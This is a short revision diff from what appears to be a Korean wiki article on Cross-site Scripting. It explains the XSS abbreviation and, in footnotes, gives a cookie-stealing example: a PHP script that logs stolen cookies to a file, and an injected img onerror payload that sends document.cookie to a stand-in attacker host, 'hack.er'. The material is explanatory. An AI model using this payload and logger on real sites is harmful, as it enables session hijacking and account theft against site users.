| r3 ➤ r4 | |
| 2 | Cross-site Scripting.[* 줄이면 CSS인데 [[CSS|Cascading Style Sheet]]와 혼동이 올 수 있어서 [[크로스|X]]XSS라고 부르는 것이다.] |
| 7 | 해커의 홈페이지에 PHP 파일을 만들고,[* 예시에서는 Cookie.php라는 이름의 PHP 파일을 생성한다. 코드 - {{{<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>}}}] 공격할 사이트에 스크립트를 심은 뒤,[* 예시에서는 hack.er라는 이름의 사이트를 기준으로 한다. 코드 - {{{<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">}}}] 사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다. |
| 8 | |
